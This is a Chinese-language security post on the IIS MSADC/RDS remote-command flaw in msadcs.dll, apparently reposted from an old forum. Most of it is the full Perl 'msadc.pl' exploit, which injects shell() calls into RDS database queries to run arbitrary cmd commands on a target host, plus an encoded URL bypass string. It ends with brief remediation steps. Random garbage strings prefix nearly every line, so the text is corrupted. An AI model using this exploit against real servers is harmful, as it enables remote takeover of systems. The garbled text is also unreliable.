IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ZnAXb S @OGHS}-\ 涉及程序:
KNG7$icG Microsoft NT server
NVX @1} 'JRYf;9c 描述:
>X_5o^s2s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=#>F' A }{S+C[:_ 详细:
h0aK}`/a 如果你没有时间读详细内容的话,就删除:
0}3Xry,{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
rQsYt/ 有关的安全问题就没有了。
eUVhNg 63fgl+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
$.F.xYS9IJ -(lCM/h 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
fc<~R 关于利用ODBC远程漏洞的描述,请参看:
>]<4t06D v+vM:At4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ku5vaP( sKwUY{u\M 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
60#eTo?}o http://www.microsoft.com/security/bulletins/MS99-025faq.asp T&nIH[}v E0)43 这里不再论述。
D$U`u[qjtS Pk{%2\%&2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
d#CAP9n;' &e\UlM22 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X]4j&QB 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
]S 3l' " z'9U.v'M) s4[PwD #将下面这段保存为txt文件,然后: "perl -x 文件名"
A&S n^mw
vLs*}+f #!perl
c->.eL% #
(b8ZADI* # MSADC/RDS 'usage' (aka exploit) script
:pdl2#5H^ #
85_Qb2<'r # by rain.forest.puppy
(3? W)i #
n.7-$1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&&ZX<wOM # beta test and find errors!
dCA!
R"HD X#k:J use Socket; use Getopt::Std;
g`(3r getopts("e:vd:h:XR", \%args);
~X<?&;6 FWW*f
_L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
d]K$0HY uH |:gF^ if (!defined $args{h} && !defined $args{R}) {
P?hB`5X print qq~
+-:o+S`q~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
QTospHf` -h <host> = host you want to scan (ip or domain)
!LJ4
S
-d <seconds> = delay between calls, default 1 second
-sxu7I -X = dump Index Server path table, if available
^Rb*mI -v = verbose
dK41NLGQ -e = external dictionary file for step 5
/RI"a^&9A Al+}4{Q+? Or a -R will resume a command session
z#B(1uI d*_rJE}B ~; exit;}
^#!\VGnL joBS{] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E1s~ + if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vP%}XEF if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<-DQ(0xg if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9p, PW A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
C@Wd Pjxj if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o8X? 1 ?&-$Zog if (!defined $args{R}){ $ret = &has_msadc;
LSrKi$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0"{-<Wot} \U>|^$4 #5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G_`Ae%'h . "cmd /c ";
|RL\2j| $in=<STDIN>; chomp $in;
,W BKN)%u $command="cmd /c " . $in ;
iGN6'm` EE-wi@ if (defined $args{R}) {&load; exit;}
phR:=Ox|1 89j*uT print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>P ~j@Lv &try_btcustmr;
P)O:lYX ^Rh}[ print "\nStep 2: Trying to make our own DSN...";
*!9=? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
L=dQ,yA F#^/=AR' print "\nStep 3: Trying known DSNs...";
7c!#e=W@B &known_dsn;
owx0J,,G mFmxEv print "\nStep 4: Trying known .mdbs...";
w:ASB>,! &known_mdb;
ZgfhNI\ B'I_i$g4w if (defined $args{e}){
(duR1Dz print "\nStep 5: Trying dictionary of DSN names...";
kqjj&{vPFJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3Ww 37V>h -<:w{cV print "Sorry Charley...maybe next time?\n";
85USMPF exit;
*D67&/g. A8g_BLj!e ##############################################################################
qJE_4/<^! *M.,Yoj sub sendraw { # ripped and modded from whisker
n#sK31;yb sleep($delay); # it's a DoS on the server! At least on mine...
QO:Z8{21So my ($pstr)=@_;
[X7gP4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
??f,(om die("Socket problems\n");
S9[Y1qH>K if(connect(S,pack "SnA4x8",2,80,$target)){
P(!%Pp select(S); $|=1;
dL~^C I print $pstr; my @in=<S>;
r>gf&/Pl select(STDOUT); close(S);
]cM8TT return @in;
k t
|j]: } else { die("Can't connect...\n"); }}
5Z:T9F4 N' CWSf.e ##############################################################################
' e %>Ip ~x^Ra8A sub make_header { # make the HTTP request
9&{z?* my $msadc=<<EOT
qP-_xpu]R POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
sL,|+>7T^M User-Agent: ACTIVEDATA
tt|P-p- Host: $ip
7K1_$vd Content-Length: $clen
[+L!c}# Connection: Keep-Alive
%rV|{@J ` qHvU4v ADCClientVersion:01.06
_sn<"B%> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
jO9!:L>b` nNeCi --!ADM!ROX!YOUR!WORLD!
,~/WYw<o Content-Type: application/x-varg
_
^'QHWP Content-Length: $reqlen
ilyF1=bp nd$92H EOT
luW"| ; $msadc=~s/\n/\r\n/g;
/|3~LvIt= return $msadc;}
KWM.e1( .<Ays? ##############################################################################
?vFtv}@\ eaDR-g" sub make_req { # make the RDS request
<{h\Msx% my ($switch, $p1, $p2)=@_;
eJ6 #x$I, my $req=""; my $t1, $t2, $query, $dsn;
>f4[OBc i(;.Y if ($switch==1){ # this is the btcustmr.mdb query
6uTC2ka[&R $query="Select * from Customers where City=" . make_shell();
%`~+^{Wp $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x4h.WDT$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Gqj(2.AY 4 Dy1M}7 elsif ($switch==2){ # this is general make table query
abv*X1 $query="create table AZZ (B int, C varchar(10))";
l%xTF@4e $dsn="$p1";}
?op;#/Q( \4>w17qng elsif ($switch==3){ # this is general exploit table query
eSHsE3}h
$query="select * from AZZ where C=" . make_shell();
<Mu T7x- $dsn="$p1";}
xel|,|*Yq 5V~vND*
s elsif ($switch==4){ # attempt to hork file info from index server
'h^Ya?g $query="select path from scope()";
L)4~:f)B $dsn="Provider=MSIDXS;";}
@t0T+T3 |Qcj+HH. elsif ($switch==5){ # bad query
&8yGV i $query="select";
"G,,:H9v $dsn="$p1";}
s}-j.jzB{ $j8CF3d.6 $t1= make_unicode($query);
$|@pY| f $t2= make_unicode($dsn);
$xK\$kw\ $req = "\x02\x00\x03\x00";
"ZPgl 8 $req.= "\x08\x00" . pack ("S1", length($t1));
0FLCN!i1 $req.= "\x00\x00" . $t1 ;
V(:wYk?ZR $req.= "\x08\x00" . pack ("S1", length($t2));
22;B: $req.= "\x00\x00" . $t2 ;
+o'xyR'( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fwmXIpteK return $req;}
o5sw]R5 uF1&m5^W ##############################################################################
^vTx%F mkfDDl2 GP sub make_shell { # this makes the shell() statement
FS=LpvOG) return "'|shell(\"$command\")|'";}
Vf.*!`UH \B:k|Pw6~ ##############################################################################
We\i0zUU s: iBl/N} sub make_unicode { # quick little function to convert to unicode
c`&g.s@N\ my ($in)=@_; my $out;
>ts}\.(] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
R]o0V*n return $out;}
Z9MR"!0 O} (sn ##############################################################################
{p$@)b m9\"B3sr sub rdo_success { # checks for RDO return success (this is kludge)
U|{ 4=[ my (@in) = @_; my $base=content_start(@in);
1B:5O*I!J if($in[$base]=~/multipart\/mixed/){
:R3iLy return 1 if( $in[$base+10]=~/^\x09\x00/ );}
*B\ @L return 0;}
6 !?]
( Ekik_!aB ##############################################################################
fJ0V|o P;K LN9/4 sub make_dsn { # this makes a DSN for us
CrSBN~ my @drives=("c","d","e","f");
N-t"CBTO
print "\nMaking DSN: ";
N=7iQ@{1 foreach $drive (@drives) {
sdiWQv print "$drive: ";
mq:WBSsV my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
US=K}B=g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)Vrp<"v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
` AD}6O+x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
edCVIY'1 return 0 if $2 eq "404"; # not found/doesn't exist
%IE;'aa
} if($2 eq "200") {
B2* 7H foreach $line (@results) {
; yE.R[I return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WPrBK{B`o } return 0;}
E:k]Z e igVT4 ##############################################################################
^*+M9e9Z z@o6[g/*Q sub verify_exists {
.o5K X* my ($page)=@_;
~7PiIky. my @results=sendraw("GET $page HTTP/1.0\n\n");
~-y&C% return $results[0];}
{0np |(2#KMEWa ##############################################################################
b:r8r}49 e@;'# t sub try_btcustmr {
3$Vx8:Rhdn my @drives=("c","d","e","f");
-ah)/5j my @dirs=("winnt","winnt35","winnt351","win","windows");
S:Jg#1rww- ]=ZPSLuEm% foreach $dir (@dirs) {
'h7x@[| print "$dir -> "; # fun status so you can see progress
if*~cPnN foreach $drive (@drives) {
aMxj{*v7 print "$drive: "; # ditto
~l?c.CSd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
yPe9KN_ $reqlenlen=length( "$reqlen" );
,fTC}>s4 $clen= 206 + $reqlenlen + $reqlen;
>mp Nn m+:JNgX6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"EA =auN{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%`K{0b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
HmkxE Ayv:Pv@ ##############################################################################
V6_5v+n );yZyWDV sub odbc_error {
,3iD/8_ my (@in)=@_; my $base;
0v9i43[S|J my $base = content_start(@in);
akPd#mf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Iw`|,-| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jcvq:i{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l:bbc!3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|Kjfh};-C return $in[$base+4].$in[$base+5].$in[$base+6];}
#Ef! X print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qT
#=C'? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ZXkrFA | $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
- US>]. H3vnc\d~ ##############################################################################
2xiE#l-V2 B2*>7 kc_s sub verbose {
OwPHp&{ Y my ($in)=@_;
+-SO}P return if !$verbose;
wtf H3v print STDOUT "\n$in\n";}
*JZ9'|v_H v _:KqdmO] ##############################################################################
?b'(39fj `8#xO{B1 sub save {
S 1^t;{" my ($p1, $p2, $p3, $p4)=@_;
g.blDOmlc open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KHx;r@{< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
O"kb*// close OUT;}
ZR0 OqSp] |uz\XK ##############################################################################
` ~^ My~f J %B/(v` sub load {
V@s93kh my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,)!%^~v open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ntB#2S @p=<IN>; close(IN);
,quUGS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
BFP@Yn~k $target= inet_aton($ip) || die("inet_aton problems");
{oF;ZM'r print "Resuming to $ip ...";
Vr"'O6 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^+-]V9?+ if($p[1]==1) {
5-k gGOt $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_
W#Km $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&iq'V*+-\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
WA1yA*S if (rdo_success(@results)){print "Success!\n";}
\ZhkOl else { print "failed\n"; verbose(odbc_error(@results));}}
$Q}L*4?] elsif ($p[1]==3){
n[qnrk*3
% if(run_query("$p[3]")){
@jjxgd'%& print "Success!\n";} else { print "failed\n"; }}
92R,o'# elsif ($p[1]==4){
F7w\ctUP if(run_query($drvst . "$p[3]")){
6(t'B!x print "Success!\n"; } else { print "failed\n"; }}
CS*lk!C exit;}
[`E_/95 [McH l1a ##############################################################################
?/5<}W#7} xluAjOQ6 sub create_table {
hVT>HER my ($in)=@_;
$FIJI^Kd7 $reqlen=length( make_req(2,$in,"") ) - 28;
>Di`zw~ $reqlenlen=length( "$reqlen" );
*SI,K)BP $clen= 206 + $reqlenlen + $reqlen;
0)\(y my @results=sendraw(make_header() . make_req(2,$in,""));
;{&4jcV* return 1 if rdo_success(@results);
Y*Ay=@z=y my $temp= odbc_error(@results); verbose($temp);
",[ /pb return 1 if $temp=~/Table 'AZZ' already exists/;
g`C"t3~%S return 0;}
=B'Yx i$}G[v<4 ##############################################################################
)+hJi/g _8-1wx sub known_dsn {
Er8F_,M+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7@y}J5, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
jjv'"K2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
F3$8l[O_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
[;
$:Lr I7SFGO foreach $dSn (@dsns) {
OEzSItAI/[ print ".";
xO%yjG= next if (!is_access("DSN=$dSn"));
>b#CR/^z if(create_table("DSN=$dSn")){
X}h}3+V print "$dSn successful\n";
fpjFO&ML if(run_query("DSN=$dSn")){
|F'eT
4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e.(d?/!F_ print "Something's borked. Use verbose next time\n";}}} print "\n";}
ygm6(+ |a /cw" ##############################################################################
%iYro8g!, +!`$( sub is_access {
Ln+ k_ my ($in)=@_;
@m:'
L7+ $reqlen=length( make_req(5,$in,"") ) - 28;
\k6OP $reqlenlen=length( "$reqlen" );
t4~?m{ $clen= 206 + $reqlenlen + $reqlen;
2v4&'C my @results=sendraw(make_header() . make_req(5,$in,""));
BVH)!]m0 my $temp= odbc_error(@results);
qX6zk0I a verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"]'W^Fg return 0;}
x
0vW9*& i!JSEQ_8 ##############################################################################
$Op:-aW& 8Jp?@qt=$ sub run_query {
prIJjy-F my ($in)=@_;
Oq3t-omXS $reqlen=length( make_req(3,$in,"") ) - 28;
[!} uj`e $reqlenlen=length( "$reqlen" );
B%))HLo' $clen= 206 + $reqlenlen + $reqlen;
yTe25l{QaF my @results=sendraw(make_header() . make_req(3,$in,""));
fHI@'
'0 return 1 if rdo_success(@results);
=M4wP3V/ my $temp= odbc_error(@results); verbose($temp);
[5M! ' return 0;}
VzcW9'"# +:c}LCI9< ##############################################################################
yd45y}uS;F :,/
\E sub known_mdb {
XC390t my @drives=("c","d","e","f","g");
y|9 LtQ my @dirs=("winnt","winnt35","winnt351","win","windows");
<3=k my $dir, $drive, $mdb;
JE$$6X my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
LA6Ik_-F (V/!0Lj # this is sparse, because I don't know of many
I3l1 _ my @sysmdbs=( "\\catroot\\icatalog.mdb",
Hb^ovc0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
mryT%zSlM "\\system32\\certmdb.mdb",
abEdZ)$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
cj[%.M5iBA H66~!J0;a my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
oK"#*n "\\cfusion\\cfapps\\forums\\forums_.mdb",
Av/y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[f$pq5f=' "\\cfusion\\cfapps\\security\\realm_.mdb",
[E}pU8.t6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Nk F2'Z{$+ "\\cfusion\\database\\cfexamples.mdb",
1'k,P;s "\\cfusion\\database\\cfsnippets.mdb",
=)Goip "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ZQ_~
L!ot "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
dGR #l) "\\cfusion\\brighttiger\\database\\cleam.mdb",
IY(;:#l "\\cfusion\\database\\smpolicy.mdb",
(51;cj>J "\\cfusion\\database\cypress.mdb",
IUh)g1u41O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n.P $E "\\website\\cgi-win\\dbsample.mdb",
Ye>+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)$2h:dw_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g%4=T~ ); #these are just
n0^3F1Z foreach $drive (@drives) {
[ID#PUle foreach $dir (@dirs){
eN<?rVZl foreach $mdb (@sysmdbs) {
4'`*Sce} print ".";
|q q29dS? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
G)9`Qn print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
T=pKen/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2&F H8 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
uv7tbI"r } else { print "Something's borked. Use verbose next time\n"; }}}}}
W}\<}dK ]k.YG!$ foreach $drive (@drives) {
p!K]c D foreach $mdb (@mdbs) {
g8Zf(" print ".";
&=.7-iC|W if(create_table($drv . $drive . $dir . $mdb)){
+j6^g* print "\n" . $drive . $dir . $mdb . " successful\n";
s!
sG)AR.J if(run_query($drv . $drive . $dir . $mdb)){
j2%#xZ{33 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M:K4o% } else { print "Something's borked. Use verbose next time\n"; }}}}
`
B+Pl6l)F }
Pj*"2
LBW# -9"[/ ##############################################################################
-kzg(+sm ~$4!C'0 sub hork_idx {
S'AS,'EnY print "\nAttempting to dump Index Server tables...\n";
Vjr}"K$Y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
:HN\A4=kc( $reqlen=length( make_req(4,"","") ) - 28;
@'?7au '' $reqlenlen=length( "$reqlen" );
.[o?qCsw $clen= 206 + $reqlenlen + $reqlen;
d1d:5b my @results=sendraw2(make_header() . make_req(4,"",""));
kmsgaB7? if (rdo_success(@results)){
8PW3x-+ my $max=@results; my $c; my %d;
(R{z3[/u& for($c=19; $c<$max; $c++){
Xm.["& $results[$c]=~s/\x00//g;
I;?np $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
mC`U"rlK~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
y@]:7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
G\S_e7$/ $d{"$1$2"}="";}
4p`z%U~=u foreach $c (keys %d){ print "$c\n"; }
t-J\j"~%+ } else {print "Index server doesn't seem to be installed.\n"; }}
]B-3Lh \MmKz^tO ##############################################################################
p!cNn7{; TbhsOf! sub dsn_dict {
to'O;f">n open(IN, "<$args{e}") || die("Can't open external dictionary\n");
D??
\H\ while(<IN>){
CK} _xq2b $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
aw'o=/a8 next if (!is_access("DSN=$dSn"));
bRc~e@ if(create_table("DSN=$dSn")){
[Z+E_Lbz print "$dSn successful\n";
(0bXsfe if(run_query("DSN=$dSn")){
Jd/XEs?<q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K;(t@GL? print "Something's borked. Use verbose next time\n";}}}
JuXuS print "\n"; close(IN);}
dw< b}2 !tv+,l&L ##############################################################################
0[SrRpD .?-]+-J?` sub sendraw2 { # ripped and modded from whisker
1BA5| sleep($delay); # it's a DoS on the server! At least on mine...
P;lDri my ($pstr)=@_;
>]l7AZ:, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Gv}~ die("Socket problems\n");
<o&\/uO~H if(connect(S,pack "SnA4x8",2,80,$target)){
$PKUcT0N9 print "Connected. Getting data";
Y\7/`ty open(OUT,">raw.out"); my @in;
aboA9pwH select(S); $|=1; print $pstr;
^Jn=a9Q6Z while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*Y9' tHI close(OUT); select(STDOUT); close(S); return @in;
UNKXfe(X9 } else { die("Can't connect...\n"); }}
CK RnkTTiV F%e5j9X` ##############################################################################
uze5u\ Je;HAhL sub content_start { # this will take in the server headers
WEB enGQ my (@in)=@_; my $c;
u69s}yZ for ($c=1;$c<500;$c++) {
*Mr'/qp, if($in[$c] =~/^\x0d\x0a/){
5JRj'G0I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l(
0:CM else { return $c+1; }}}
G[[<-[C]5 return -1;} # it should never get here actually
-#"7F:N1 Fpf-Fa-K\b ##############################################################################
.ID9Xd$fky %(n^reuP sub funky {
GF awmNZ my (@in)=@_; my $error=odbc_error(@in);
a'A'%+2 if($error=~/ADO could not find the specified provider/){
7e`h,e= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
;CdxKr-d exit;}
M/a5o|>8 if($error=~/A Handler is required/){
3D"?|rd~ print "\nServer has custom handler filters (they most likely are patched)\n";
Fo[=Dh*AqU exit;}
k8ej. if($error=~/specified Handler has denied Access/){
p3z%Y$!Tm print "\nServer has custom handler filters (they most likely are patched)\n";
N"o+;yR exit;}}
@)p?!3{" =OF]xpI'&a ##############################################################################
0w
]
pDj gpzZs<ST sub has_msadc {
SI@Yct]<g my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9q
f=P3 my $base=content_start(@results);
-
-H%FYF` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
:~+m9r return 0;}
w?zY9Fs=s K
yFR;.F- ########################
B< BS>(Nr> 14;lB.$p |9cSG),z 解决方案:
XP!7@: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
y@Q?
guB 2、移除web 目录: /msadc